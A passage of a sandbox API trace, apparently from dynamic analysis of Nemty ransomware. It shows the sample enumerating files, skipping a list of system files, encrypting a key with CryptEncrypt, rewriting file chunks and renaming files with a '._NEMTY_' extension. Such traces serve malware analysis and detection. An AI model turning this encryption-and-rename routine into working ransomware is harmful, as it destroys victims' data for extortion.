hHeap=0x4f90000) returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down.png", lpUsedDefaultChar=0x0) returned 19 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down.png", lpUsedDefaultChar=0x0) returned 19 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down.png", lpUsedDefaultChar=0x0) returned 19 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340178 [0158.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340230 [0158.945] Sleep (dwMilliseconds=0x5) [0158.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1262de90, dwHighDateTime=0x1d561e8)) [0158.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1262de90, dwHighDateTime=0x1d561e8)) [0158.946] GetLastError () returned 0x5 [0158.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.946] GetLastError () returned 0x5 [0158.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.947] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0158.947] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="cF8ZpBrENPqY+o5U3rHuq2H0ASS73xah2Hj/tIx+MmaATOeTL3bvd2os4vBCr8uF\r\nKvTl+ry1ZLNnu09eCe0+sB1bjwBGzlTc1R+8zmav2FXnRMdMuXB3+H6PVvsQeF2L\r\nZN1/7Sm3ZamVQ5wQGMs1juMRpokCsvKkcQdKOh802eHzNBuGPUOLEcj+X+wiA0KH\r\nrzeaA0tjQb77oSzIJalsRj7+RyAaGip28VNE0VqOj2/tC9pA64+FR76WrQn7sAov\r\nTOr3Jxx3XqRh+RAr6PBxNnoqLJvox8sZrXDtaDE2/8AO1iSLzTW9Oep0yAxO71XH\r\nr8bZoEN8RIUPS04OEoQWPA==\r\n", pcchString=0x653e91c) returned 1 [0158.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0158.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0158.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.947] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.947] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.023] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.061] CloseHandle (hObject=0xffffffff) returned 0 [0159.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340458 [0159.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340510 [0159.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340510 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down.png._nemty_kgobjgd_")) returned 0 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.062] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87631240, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87631240, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfd, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_search_down_BIDI.png", cAlternateFileName="")) returned 1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2=".") returned 1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="..") returned 1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="...") returned 1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="windows") returned -1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="$RECYCLE.BIN") returned 1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="rsa") returned -1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="NTDETECT.COM") returned -1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="ntldr") returned -1 [0159.062] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="MSDOS.SYS") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="IO.SYS") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="boot.ini") returned 1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="boot.ini") returned 1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="ntuser.dat") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="desktop.ini") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="CONFIG.SYS") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="RECYCLER") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="BOOTSECT.BAK") returned 1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="bootmgr") returned 1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="programdata") returned -1 [0159.063] lstrcmpiW (lpString1="btn_search_down_BIDI.png", lpString2="appdata") returned 1 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0159.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 